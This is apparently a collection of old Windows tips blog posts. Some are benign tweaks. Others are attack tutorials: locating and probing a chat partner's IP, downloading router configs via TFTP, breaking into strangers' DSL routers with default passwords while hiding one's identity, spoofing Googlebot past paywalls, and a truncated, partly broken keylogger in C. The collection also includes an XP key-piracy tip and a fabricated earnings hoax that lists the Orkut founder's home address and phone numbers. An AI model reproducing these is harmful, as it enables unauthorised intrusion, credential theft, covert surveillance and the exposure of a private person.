Get XP Key From CD itself

There is a way to get XP product code from CD itself, it really works!!! I was once wondering around the XP CD......and got this!!! Just try it out..... Just explore the CD then open the folder I386 then open the file UNATTEND.TXT and scroll down to the last line. You have a product code. Have fun!!! Now you'll never need to search for a product code for XP again...!!!!

Automate Installation of XP

Automate The Installation Of Windows XP You can create a CD that can install Windows XP automatically, putting in all the details and answering all the dialog boxes. The secret behind this is the answer file, which tells Windows what to do while it's installing. The answer file can be created using Windows setup manager. Using this tool, you can make the answer file so powerful that you can even tell Windows to include or exclude individual components, set the display resolution, and more. Here's the Steps involved in creating XP Automated Installation Disc: Step 1: To begin with, insert your Windows XP installation CD into the drive and copy the entire contents of the CD to a new folder on your hard disk. Step 2: Navigate to the Support > Tools folder on the CD and double-click the Deploy.cab file. Copy all the files to a new folder on your hard disk. Step 3: The crucial part begins now, creating the answer file. To execute the windows setup manager, double click the Setupmgr.exe file from the contents of the Deploy.cab, which you just copied onto the hard drive. Step 4: The first few steps of the wizard are self explanatory. Select the following options from the successive dialog boxes. Create a new answer file; Windows unattended installation (Select the appropriate Windows version); "Fully automated"; "No this answer file will be used to install from CD"; and finally, accept the license agreement. Step 5: Under the General Settings, you can customize the installation of Windows by providing the default name and organization, display settings, time zone and the product key. Fill in the fields using the drop-down list or by keying in the details. If you don't select an option from the drop-down list, the default values will be used. Step 6: After you are done click Finish and save the answer file as "winnt.sif" when you are prompted. Advanced users can further tweak the answer file by referring to the Help file called Ref.chm in the same folder. Step 7: Finally copy the answer file to i386 folder in the Windows XP installation folder you created in the beginning. Step 8: To burn a bootable installation disc, you need the boot sector of the Windows XP CD. Download it from here bootfiles.zip Step 9: Launch Nero and select CD-ROM (Boot) from the New Compilation dialog box. Under the Boot tab, specify the boot sector file you downloaded and extracted. Set the emulation as "No emulation", and keep the boot message blank. Most importantly, remember to set the "Number of loaded sectors" as 4. Step 10: Under the Burn tab, set the write method to disc at-once. Click the New button to to begin adding files and folders to the compilation. Drag all the contents of the Windows XP installation disc that you copied to your hard drive (with the answer file in the i386 folder) into the left pane. Insert a blank CD into the optical drive and hit burn button. Your windows automated installation Disc is ready!

Optimize Windows Vista for better performance

No matter how fast or shiny computers might be when they are new, they all seem to get slower over time. That state-of-the-art PC you bought last year might not feel like such a screamer after you install a dozen programs, load it with antispyware and antivirus tools, and download untold amounts of junk from the Internet. The slowdown might happen so gradually you hardly notice it, until one day you’re trying to open a program or file and wonder, "What happened to my poor PC?"

Whatever the cause, there are a lot of ways to help speed up Windows and make your PC work better—even without upgrading your hardware. Here are some tips to help you optimize Windows Vista for faster performance.

Delete programs you never use

Many PC manufacturers pack their new computers with programs you didn’t order and might not want. These often include trial editions and limited edition versions of programs that software companies hope you will try, find useful, and then pay to upgrade to full versions or newer versions. If you decide you don’t want them, keeping the software on your computer might slow it down by using precious memory, disk space, and processing power.

It’s a good idea to uninstall all the programs you don’t plan to use. This should include both manufacturer-installed software and software you installed yourself but don’t want anymore—especially utility programs designed to help manage and tune your computer’s hardware and software. Utility programs such as virus scanners, disk cleaners, and backup tools often run automatically at startup, quietly chugging along in the background where you can’t see them. Many people have no idea they are even running.

Even if your PC is older, it might contain manufacturer-installed programs that you never noticed or have since forgotten about. It’s never too late to remove these and get rid of the clutter and wasted system resources. Maybe you thought you might use the software someday, but never did. Uninstall it and see if your PC runs faster.

Limit how many programs load at startup

Many programs are designed to load automatically when Windows starts. Software manufacturers often set their programs to open in the background, where you can’t see them running, so they’ll open right away when you click their icons. That's helpful for programs you use a lot, but for programs you rarely or never use, this wastes precious memory and slows down the time it takes Windows to finish loading.

Decide for yourself if you want a program to load at startup.

But how can you tell what programs load automatically at startup? Sometimes this is obvious, because the program will add an icon to the notification area on the taskbar, where you can see it running. Look there and see if there are any programs running that you don’t want to load automatically. Position your mouse over each icon to see the program name. Be sure to click the Show hidden icons button so you don’t miss any icons.

The Show hidden icons button in the notification area

Even after you check the notification area, you might still have missed some programs that load automatically at startup. You can find and disable them using Windows Defender.

The Software Explorer screen in Windows Defender shows which programs automatically start when you launch Windows

If you’re unsure about whether a program should open automatically at startup, you can try disabling it, restarting your computer, and then using the program. If that causes any problems with the program, you can go back and re-enable it to start automatically.

Note:Some people prefer to manage which programs load at startup using the System Configuration tool.

Defragment your hard drive

Fragmentation makes your hard disk do extra work that can slow down your computer. Disk Defragmenter rearranges fragmented data so your hard disk can work more efficiently. Disk Defragmenter runs on a schedule, but you can also defragment your hard disk manually.

Clean up your hard disk

If you want to reduce the number of unnecessary files on your hard disk to free up disk space and help your computer run faster, use Disk Cleanup. It removes temporary files, empties the Recycle Bin, and removes a variety of system files and other items that you no longer need.

Run fewer programs at the same time

Sometimes changing your computing behavior can have a big impact on your PC's performance. If you’re the type of computer user who likes to keep eight programs and a dozen browser windows open at once—all while instant messaging your friends—don’t be surprised if your PC bogs down. Keeping a lot of e‑mail messages open can also use up memory.

If you find your PC slowing down, ask yourself if you really need to keep all your programs and windows open at once. Find a better way to remind yourself to reply to e‑mail messages than to keep all of them open.

Turn off visual effects

If Windows is running slowly, you can speed it up by disabling some of its visual effects. It comes down to appearance versus performance. Would you rather have Windows run faster or look prettier? If your PC is fast enough, you don’t have to make this tradeoff, but if your computer is just barely powerful enough for Windows Vista, it can be useful to scale back on the visual bells and whistles.

You can choose which visual effects to turn off, one by one, or you can let Windows choose a bunch for you. There are 20 visual effects you can control, such as the transparent glass look, the way menus open or close, and whether shadows are displayed.

The Performance Options dialog box lets you turn on or off up to 20 visual effects

To adjust all visual effects for best performance:

1. Open Performance Information and Tools by clicking the Start button , clicking Control Panel, clicking System and Maintenance, and then clicking Performance Information and Tools.

2. Click Adjust visual effects. If you are prompted for an administrator password or confirmation, type the password or provide confirmation.

3. Click the Visual Effects tab, click Adjust for best performance, and then click OK. (For a less drastic option, select Let Windows choose what’s best for my computer.)

Restart regularly

This tip is simple. Restart your PC at least once a week, especially if you use it a lot. Restarting a PC is a good way to clear out its memory and ensure that any errant processes and services that started running get shut down.

Restarting closes all the software running on your PC. Not only the programs you see running on the taskbar, but also dozens of services that might have been started by various programs and never stopped. Restarting can fix mysterious performance problems where the exact cause is hard to pinpoint.

If you keep so many programs, e‑mail messages, and websites open that you think restarting is a hassle, that’s probably a sign you should restart your PC. The more things you have open and the longer you keep them running, the greater the chances your PC will bog down and eventually run low on memory.

Add more memory

This isn’t a guide to buying hardware that will speed up your computer. But no discussion of how make Windows run faster would be complete without mentioning that you should consider adding more memory to your PC.

If a computer running Windows Vista feels too slow, it’s usually because the PC doesn’t have enough memory. The most sure–fire way to speed it up is to add more.

Windows Vista can run on a PC with 512 megabytes (MB) of random access memory (RAM), but it runs better with 1 gigabyte (GB). For optimal performance, boost that to 2 GB or more.
If you're going to the trouble of opening up your PC case to add more memory, you might as well boost the total to at least 2 GB. Especially if you're the sort of person who keeps a dozen e‑mail messages, ten browser windows, and six other programs open at once—all while instant messaging.

Another option is to boost the amount of memory by using Windows ReadyBoost. This feature allows you to use the storage space on some removable media devices, such as USB flash drives, to speed up your computer. It’s easier to plug a flash drive into a USB port than to open your PC case and plug memory modules into its motherboard.

Check for viruses and spyware

If your PC is running slowly, one dreaded possibility is that it might be infected with a virus or spyware. This is not as common as the other problems, but it is something to consider. Before you worry too much, check your PC using antispyware and antivirus programs.
A common symptom of a virus is a much slower-than-normal computer performance. Other signs include unexpected messages that pop up on your PC, programs that start automatically, or the sound of your hard disk constantly working.

Spyware is a type of program that is installed, usually without your knowledge, to watch your activity on the Internet. You can check for spyware with Windows Defender or other anti-spyware programs.

The best way to deal with viruses is to prevent them in the first place. Always run antivirus software and keep it up to date. Even if you take such precautions, however, it’s possible for your PC to become infected.

Check your computer’s speed

If you try these tips and your computer is still too slow, you might need a new PC or some hardware upgrades, such as a new hard disk, faster video card, or more memory. There’s no need to guess the speed of your computer, however. Windows provides a way to check and rate your PC’s speed with a tool called the Windows Experience Index.

The Windows Experience Index rates your computer on five key components and gives you a number for each, as well as an overall base score. This base score is only as good as your worst-performing component sub-score.

Base scores currently range from 1 to 5.9. (There is no score yet of 6.0 or higher, although Microsoft plans to raise the ratings in the future as hardware improves.) If your PC is rated lower than 2 or 3, it might be time to consider a new PC, depending on what tasks you want to do with your computer.

Disable services you don’t need

This is the most technically advanced of all these tips. If you don’t want to mess with anything too advanced or complicated, you can skip this one.

Windows has more than 100 services running quietly in the background with names such as Network Access Protection Agent and Shell Hardware Detection. These typically launch when your computer is started and they run until your computer is shut down. Some secure Microsoft services cannot be disabled, but most others can be. Many software companies also install their own services, some of which you can disable to conserve memory and processor power.

You should not turn off a service unless you understand what it does and are confident you don’t need it. Explaining what the many services in Windows do is beyond the scope of this article, but there is plenty of information about this on various websites.

Don’t settle for slow

Don’t assume you have to sit there and tap your fingers while you wait for programs to open and tasks to complete. With these tips, you just might be able to turn your tortoise into a hare—or at least a faster tortoise.

Orkut Buyukkokten (The Creator of Orkut)

His Earnings:-

1) Orkut Buyukkokten(the creator of Orkut) gets $12 when every person registers to this website.

2) He also gets $10 when you add somebody as a friend.

3) He gets $8 when your friend's friend adds you as a friend & gets $6 if anybody adds you as a friend in the resulting chain.

4) He gets $5 when you scrap somebody & $4 when somebody scraps you.

5) He also gets $200 for each photograph you upload on Orkut.

6) He gets $2.5 when you add your friend in the crush-list or in the hot-list.

7) He gets $2 when you become somebody's fan.

8) He gets $1.5 when somebody else becomes your fan.

9) He even gets $1 every time you logout of Orkut.

10) He gets $0.5 every time you just change your profile-photograph.

11) He also gets $0.5 every time you read your friend's scrap-book & $0.5 every time you view your friend's friend-list.

12) Many Global Financial Consultants think this person might become the richest-person in the world soon in a few yrs.

Email: orkut@stanford.edu

Home: 2250 Latham Street Apt. #57 Mountain View, CA 94040

Number: (650) 988 0339

Office: Room 430, Gates Building Office

Number: (650) 723-6805

Cell: (650) 888-5822

How to Change the Registered Owner and Organisation in XP

It is possible to change the name of the registered owner and registered organisation in Windows XP. For those who dont know how to see the owner and the organisation follow these steps to check. Right click on My computer, click properties. Under the general tab,there is a line 'Registered to' The first line has the name of the owner and the next line has the name of the organisation. To change these,follow the steps given below. 1. Click Start, Run and type regedit and press enter. Go to the following location in the registry: HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion 2.To change the registered organization, double-click on RegisteredOrganization.Under Value data, type the name that you want, and then click OK. 3.To change the name of the registered owner, double-click RegisteredOwner. 4.Under Value data, type the name that you want, and then click OK. 5.Click Exit on the File menu to quit. You are done. You make check out the changes as described earlier.

Use Google as proxy

Many jobs and schools & colleges block access to certain sites. However, it is very difficult for anybody to block access to google. By using google with either of these two methods, you can gain access to blocked sites very easily. Blocked web site, huh? Need a proxy? I am not a big fan of chasing free, open proxies all over the place. I use google instead. Here I describe what I believe is an uncommon way for bypassing blocked sites using google. 1) The first and most common way of using google to bypass blocked sites is just to search for the site and then clicked the "cached" link that appears on google. Easy, simple, and frequently works for static information. 2) Passing the site through google translator works well as well. Here's the URL to use: Code: http://www.google.com/translate?langpair=enen&u=www.blockedsite.com (where blockedsite.com is the site that you wish to visit) This translates the site from english to english and works because the ip address will appear as google instead of you. Here's a link to tech-recipes passed through the translator as an example. You can actually do this with any langpair. Change enen in the URL above to spanish by using eses and it still works. 3) Unique method that I have not seen described before is to search through google mobile. Google mobile will "convert as you go" very similiar to the translation method above. Just search for your site with google mobile and click on the link it provides. Here's is tech-recipes brought up through google mobile search. Once again, this will allow you to bypass any blocks because the IP request comes from google not for you. Like the translation method above, google will continue to "proxy" as you continue to visit links through the site. And ya it is also useful to retrive some information from net which is currently not available.

To create an .exe file

Many of you might be knowing this but still newbies can learn something from this... How to make an executable file? When it is in .exe form no one will be able to change look or modify the code (note:it will make it to a self extraction thing but it will still act like a exe) This is how you make it to a .exe goto to start>run and type iexpress STEP BY STEP ON HOW TO USE IT- click create new self extraction then next click extract files and run an installation command and click next type what you want to name the files (ex. hello, virus, game) then click next click no prompt then next license agreement unless you want to put one click do not display license package files(most important) click add then choose your .bat file(also does .vbs files) then click nex tunder install program choose your .bat or .vbs file and click next(don't worry about the other one) show window pick one and click next finished message pick one and click next click browse and type the name of it and save to desktop or C: then next configure restart just click no restart and then next just click don't save then next there click next and watch your file change into something better when its done click finish and check out your new file..

Hack PC while Chatting

I am not sure that this will work 100%. But yes will work almost 70 percent of the times. But before that you need to know some few things of yahoo chat protocol... Following are the features : - 1) When we chat on yahoo every thing goes through the server. Only when we chat thats messages. 2) When we send files yahoo has two options- a) Either it uploads the file and then the other client has to download it. b) Either it connects to the client directly and gets the files. 3) When we use video or audio:- a) It either goes through the server Or it has client to client connection And when we have client to client connection the opponents IP is revealed. On the 5051 port. So how do we exploit the Chat user when he gets a direct connection. And how do we go about it. Remember I am here to hack a system without using a TOOL only by simple net commands and yahoo chat techniques. Thats what makes a difference between a real hacker and newbees. So lets analyse 1) Its impossible to get a Attackers IP address when you only chat. 2) There are 50% chances of getting a IP address when you send files 3) Again 50% chances of getting IP when you use video or audio. So why to wait lets exploit those 50% chances . I'll explain only for files here which lies same for Video or audio 1) Go to dos type -> netstat -n 3 You will get the following output. Just do not care and be cool... Active Connections Proto Local Address Foreign Address State TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED Active Connections Proto Local Address Foreign Address State TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next -> 2) Try sending a file to the Target. If the files comes from server, thats the file is uploaded leave it. You will not get the ip. But if a direct connection is established hmmmmmm then the first attacker first phase is over This is the output in your netstat. The 5101 number port is where the Attacker is connected. Active Connections Proto Local Address Foreign Address State TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED 3) so what next??? Hmmm........ Ok so make a DOS attack now Go to dos prompt and Just do nbtstat -A Attackers IPaddress. Can happen that if system is not protected then you can see the whole network. C:\>nbtstat -A 194.30.209.14 Local Area Connection: Node IpAddress: [194.30.209.15] Scope Id: [] NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------- EDP12 <00> UNIQUE Registered XYZ <00> GROUP Registered XYZ <20> UNIQUE Registered XYZCOMP1 <1e> GROUP Registered MAC Address = 00-C0-W0-D5-EF-9A What to do next?? It is now your job to tell me what you have done next... So the conclusion is- never exchange files, video or audio till you know that the user with whom you are chatting is not going to harm you.

By-Pass Firewalls

How can you hack a Firewall? Well, there is a useful tool called Trivial FTP (TFTP) which can be used by a attacker to hack firewalls. How does it work? While scanning UDP ports, you will want to pay close attention to systems with port 69 open. Cicso routers allow the use of TFTP in conjunction with network servers to read and write configuration files. The configuration files are updated whenever a router configuration is changed. If you can identify TFTP, there is a good chance that you can access the configuration file and download it. Here are the basic steps:- (1) Determine the router’s name. NSLookup or Ping –a can be useful. c: \>ping -a 192.168.13.1 Pinging Router1 [192.168.13.1] with 32 bytes of data: Reply from 192.168.13.1: bytes=32 time<10ms ttl="255

Reply from 192.168.13.1: bytes=32 time<10ms ttl="255

Reply from 192.168.13.1: bytes=32 time<10ms ttl="255

Reply from 192.168.13.1: bytes=32 time<10ms ttl="255

Ping statistics for 192.168.13.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

(2) After the router’s name is known, you can then use TFTP to download it from the TFTP server.

c:\>tftp -I 192.168.13.1 GET router1.cfg

Transfer successful: 250 bytes in 1 second, 250 bytes/s

(3) If you are lucky, you will be rewarded with the router’s configuration file.

Browser Hijacking

Hackers and Browser Hijacking is one area of the Net that affects everyone at some stage. In addition to having third party utilities such as SpyBot, Anti Virus scanners and firewalls installed there are some changes that can be made to Windows 2000/XP. Below are some details to make your system safer from hackers and hijackers. Some of these tips require editing of the Registry so it is wise to either backup the registry and/or create a Restore Point. 1. Clearing the Page File at Shutdown: Windows 2000/XP paging file (Sometimes called the Swap File) can contain sensitive information such as plaintext passwords. Someone capable of accessing your system could scan that file and find its information. You can force windows to clear out this file. In the registry navigate to HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerMemory Management and add or edit the DWORD ClearPageFileAtShutdown. Set it to 1. Note that when you do this, the system will take much longer to shut down: a system with a really big Page File (! Gig or more) may take a minute or two longer. 2. Disable the POSIX and OS/2 Subsystem: Windows 2000 and XP come with little-documented subsystems it at allow compatibility with UNIX and OS/2 systems These rues systems are enabled by default but so rarely used that they are best off bring disabled completely to prevent possible service hijackings. To disable these subsystems, open the registry and navigate to HKEY LOCAL MACHINESYSTEMCurrentControlSetControlSession ManagerSubSystems. Delete the subkeys Os2 and Posix. Then reboot. 3. Never leave default passwords blank: On installation, Windows 2000 sets up an Administrator account with total system access and prompts for a password. Guess what: by default, it allows that password to be blank. If a user doesn't want to type a password, he can simply click Next and the system will be an open door for anyone who wants to log on. Always opt for a password of some kind when setting up the default account on a machine. 4. Install Windows In a different directory: Windows usually installs itself in the WINDOWS directory. Windows NT 4 0 and 2000 Will opt for WINNT. Many worms and other rogue programs assume this to be the case and attempt to exploit those folders files. To defeat this install Windows to another directory when you're setting it up - you can specify the name of the directory during setup. WINDIR is okay; so some people use WNDWS - A few (not that many) programs may not install properly if you install Windows to another folder but they are very few and they are far between. 5. Fake out hackers with a dummy Administrator account: Since the default account in Windows 2000 is always named Administrator, an enterprising hacker can try to break into your system by attempting to guess the password on that account. It you never bothered to put a password on that account, say your prayers. Rather than be a sucker to a hacker, put a password on the Administrator account it you haven't done so already. Then change the name of the Administrator account. You'll still be able to use the account under its new name, since Windows identifies user accounts by a back-end ID number rather than the name. Finally, create a new account named Administrator and disable it. This should frustrate any would -be break-ins. You can add new accounts and change the names of existing accounts in Windows 2000 through the Local Users and Groups snap in. Right-click on My Computer, select Manager, open the Local Users and Groups subtree, look in the Users folder and right-click on any name to rename it. To add a new user, right-click on the containing folder and select New User. Finally, to disable an account, double-click it, check the Account is disabled box and click OK. Don't ever delete the original Administrator account. Some programs refuse to install without it and you might have to log in under that account at some point to setup such software. The original Administrator account is configured with a security ID that must continue to be present in the system. 6. Disable the Guest account: Windows XP comes with a Guest account that's used for limited access, but it's still possible to do some damage with it. Disable it completely if you are not using it. Under Control Panel, select User Accounts, click on Guest Account and then select Turn Off the Guest Account. 7. Set the Hosts file to read-only to prevent name hijacking. This one's from (and to a degree, for) the experts. The HOSTS file is a text file that all flavors of Windows use to hold certain network addresses that never change. When a network name and address is placed in HOSTS, the computer uses the address listed there for that network name rather than performing a lookup (which can take time). Experts edit this file to place their most commonly-visited sites into it, speeding things up considerably. Unfortunately hijackers and hackers also love to put their own information into it - redirecting people from their favorite sites to places they don't want to go. One of the most common entries in HOSTS is local host which is set 1770.0.1. This refers to the local machine and if this entry is damaged the computer can behave very unpredictably. To prevent HOSTS from being hijacked, set it to read-only. Go to the folder %Systemroot%system32driversetc, right-click on HOSTS, select Properties check the Read-Only box and click OK. If you want to add your own entries to HOSTS, you can unprotect it before doing so, but always remember to set it to read-only after you're done. 8. Disallow changes to IE settings through IE: This is another anti hijacker tip. IE can be set so that any changes to its settings must be performed through the Internet icon in the Control Panel, rather than through IE's own interface. Some particularly unscrupulous programs or sites try to tamper with setting by accessing the Tools, Options menu in IE. You can disable this and still make changes to IE's settings through the Control Panel. Open the Registry and browse to HKEY_CURRENT_USER SoftwarePoliciesMicrosoftInternet ExplorerRestrictions. Create or edit a new DWORD value named NoBrowserUptions and set it to 1 (this is a per-user setting). Some third-party programs such as Spybot Search And Destroy allow you to toggle this setting. You can also keep IE from having other programs rename its default startup page, another particularly annoying form of hijacking. Browse to HKEY.CURRENT USERSoftwarePolicies MicrosoftInternet ExploreControl Panel and add or edit a DWORD, Homepage and set it to 1. 9. Turn off unneeded Services: Windows 2000 and XP both come with many background services that don't need to he running most of the time: Alerter, Messenger, Server (If you're running a standalone machine with no file or printer shares), NetMeeting Remote Desktop Sharing, Remote Desktop Help Session Manager (the last two if you're not using Remote Desktop or NetMeeting), Remote Registry, Routing and Remote Access (if you're not using Remote Access), SSDP Discovery Service, Telnet, and Universal Plug and Play Device Host. A good resource and instruction on which of these services can be disabled go to /http://www.blkviper.com/WinXP/ 10. Disable simple File Shares: In Windows XP Professional, the Simple File Sharing mode is easily exploited, since it’s a little too easy to share out a file across your LAN (or the NET at large). To turn it off, go m My Computer, click Tools, Folder Option and the View tab, and uncheck Use Simple file sharing (Recommended). Click OK. When you do this you can access the Security tab in the Properties window for all folders; set permissions for folders; and take ownership of objects (but not in XP Home)

Secret Backdoor To Many Websites

Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first.... The lesson you should have learned here is: Obviously Google can go where you can't. Can we solve this problem? Yes, we can. We merely have to convince the site we want to enter, that WE ARE GOOGLE.In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent] @="Googlebot/2.1" "Compatible"="+http://www.googlebot.com/bot.html" Voila! You're done! You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site... To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent] @="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

Windows XP System Hangs Response

Have you ever been using your computer and your system suddenly stops responding in ways like it if you try to open something it just hangs? One time I tried deleting a folder and it said it was in use, but it really wasn't. If this ever happens to you, you can follow these simple steps to 'reboot' your computer without 'rebooting' it. Press CRTL + ALT + DEL Goto the 'processes' tab and click explorer.exe once and then click 'end process'. Now, click File > New Task and type explorer.exe Everything should be fine now! If the problem is major, I would recommend actually shutting down then starting up again.

Hacking DSL Router

This tutorial will explain to you how to hack someone's internet account through his router. This hack is based on a security exploit of the router's default password and the stupidity of the user. Explanation: When somebody buy's a xDSL/Cable router, the router is set to factory defaults like IP range, user accounts, router table, and most important the security level. The last one we will exploit. Most routers will have a user friendly setup menu running on port 23 (telnet) and sometimes port 80 (http) or both. This is what we are looking for. Step 1. Get a multiple IP range scanner like "angry IP scanner". Get your IP address from here: http://http://www.cmyip.com/ Get a xDSL/Cabel user IP range. This is a single user IP 212.129.169.196 so the ip range of this Internet provider is 212.129.27.xxx most likely it will be from 212.129.27.1 to 212.129.27.255 . To keep your scanning range not to big it's smart to scan from 212.129.27.1 to 212.129.27.255 it also depends of your bandwidth how fast the scan will be finished. The IP address above is just a example any IP range from a xDSL/Cable provider can be used for this hack. Before you start scanning specify the TCP/IP ports, you know that we are looking for TCP port 23 (telnet) and TCP port 80 (http), so edit the list and select only port 23 and port 80. Now start scanning and wait for the results. When finished scanning look for a IP that has a open port 23 and 80. Write them down or remember them. Step 2. Way 1 This is important: Most routers have connection log capability so the last thing you want to do is making a connection with your own broadband connection so use a anonymouse proxy server or dailup connection with a fake name and address (56.9kbps modem for example) when connection to the victim's router. Now get a telnet program. Windows has a standard telnet program just go to start, select run and type down "telnet" without ", click OK. Select "connect" than "Remote system" enter IP adres of the victim in the "host name" field press OK. Wait for your computer to make a connection. This way only works when the router has a open telnet port service running. Way 2 This is important: Most routers have connection log capability so the last thing you want to do is making a connection with your own broadband connection so use a anonymouse proxy server or dailup connection with a fake name and adres (56.9kbps modem for example) when connection to the victim's router. Open a Internet explorer windows enter the IP address of the victim after the http:// in the address bar. This way only works when the router has a open hyper text transfer protocol (http) service running. Step 3 Entering the userfriendly setup menu. 9 out of 10 times the menu is protected by a loginname and password. When the user doesn't change any security value's the default password stay's usable. So the only thing you have to do is find out what type of router the victim uses. I use this tool: GFILanguard Network Security Scanner. When you find out the type of router that's been used get the wright loginname and password from this list (get it here. not every router is on the list)Default router password list. Step 4 When you have a connection in telnet or internet expolorer you need to look for user accounts.PPP, PPtP, PPeP, PPoP, or such connection protocol. If this is not correct look for anything that maybe contains any info about the ISP account of the user. Go to this option and open it. Most likely you will see a overview of user setup options. Now look for the username and password. In most case the username will be freely displayed so just write it down or what ever....The password is a different story. Allmost always the password is protected by ********* (stars) in the telnet way there is noway around it (goto another victim) but when you have a port 80 connection (http). Internet connection way open click right mouse key and select "View source" now look for the field where the star are at. most likely you can read it because in the source code the star are converted to normal ASCII text.If not get a "******** to text" convertor like snadboy's revelation V.2 (get it here) move the cursor over the ****** and....It's a miracle you can read the password.Now you have the username and password. There a million fun thing to do with that but more about that next time.check the tutorial page freqently. Alternate to step 4: Download Show password or something like this... Tips. Beware on most routers only one person can be logged on simultaneous in the router setup menu. Don't change anything in the router if you don't know what you are doing. Note: You can skip step 2 if you wish, but I am not responsible if anything goes wrong with you...

Make a folder invisible (good one)

Make the folder INVISIBLE without hiding Make your folders invisible…:) 1)Right Click on the desktop. Make a new folder 2)Now rename the folder with a blank space by holding ALT key and type 0160. 3)Now you have a folder without a name. 4)Right click on the folder>properties>customize. Click on change icon. 5)Scroll a bit, you should find some empty spaces, click on any one of them. Click ok. Now drag this folder anywhere such as at the top right or centre such that nobody can guess a folder there. Thats it, now you can store your personal data without any 3rd party tools

Speed up your Firefox

Speed up your firefox browser and load pages 2-3 times faster than previous, its tested 1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries: network.http.pipelining network.http.proxy.pipelining network.http.pipelining.maxrequests Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading. 2. Alter the entries as follows: Set "network.http.pipelining" to "true" Set "network.http.proxy.pipelining" to "true" Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once. 3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves. If you're using a broadband connection you'll load pages 2-3 times faster now. mozilla net speed increases.... cheers

Keylogger - A Complete Tutorial

What is a keylogger? It's a program that logs everything that you type on the keyboard. What are it's usages to me? Well, if you want to record everything someone types then you can then see anything you want like passwords and such. How do I get one? You can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do. Ok, how do I do this? You program one. If you know how to program in C then read on. There are two ways of making a keylogger: 1. Using the GetAsyncKeyState API. Look at svchost.c 2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it: code: */ // This code will only work if you have Windows NT or // any later version installed, 2k and XP will work. #define _WIN32_WINNT 0x0400 #include "windows.h" #include "winuser.h" #include "stdio.h" // Global Hook handleHHOOK hKeyHook; // This is the function that is "exported" from the // execuatable like any function is exported from a // DLL. It is the hook handler routine for low level // keyboard events. __declspec(dllexport) LRESULT CALLBACK KeyEvent ( int nCode, // The hook codeWPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam // A pointer to a struct with information about the pressed key ) { if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event ((wParam == WM_SYSKEYDOWN) // Only react if either a system key ... (wParam == WM_KEYDOWN))) // ... or a normal key have been pressed. { // This struct contains various information about // the pressed key such as hardware scan code, virtual // key code and further flags. KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); // dwMsg shall contain the information that would be stored // in the usual lParam argument of a WM_KEYDOWN message. // All information like hardware scan code and other flags // are stored within one double word at different bit offsets. // Refer to MSDN for further information: // // http://msdn.microsoft.com/library/en-us/winui/winui/ // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp // // (Keystroke Messages) DWORD dwMsg = 1; dwMsg += hooked.scanCode << 16; dwMsg += hooked.flags << 24; // Call the GetKeyNameText() function to get the language-dependant // name of the pressed key. This function should return the name // of the pressed key in your language, aka the language used on // the system. char lpszName[0x100] = {0}; lpszName[0] = '['; int i = GetKeyNameText(dwMsg, (lpszName+1),0xFF) + 1; lpszName = ']'; // Print this name to the standard console output device. FILE *file; file=fopen("keys.log","a+"); fputs(lpszName,file); fflush(file); } // the return value of the CallNextHookEx routine is always // returned by your HookProc routine. This allows other // applications to install and handle the same hook as well. return CallNextHookEx(hKeyHook, nCode,wParam,lParam); } // This is a 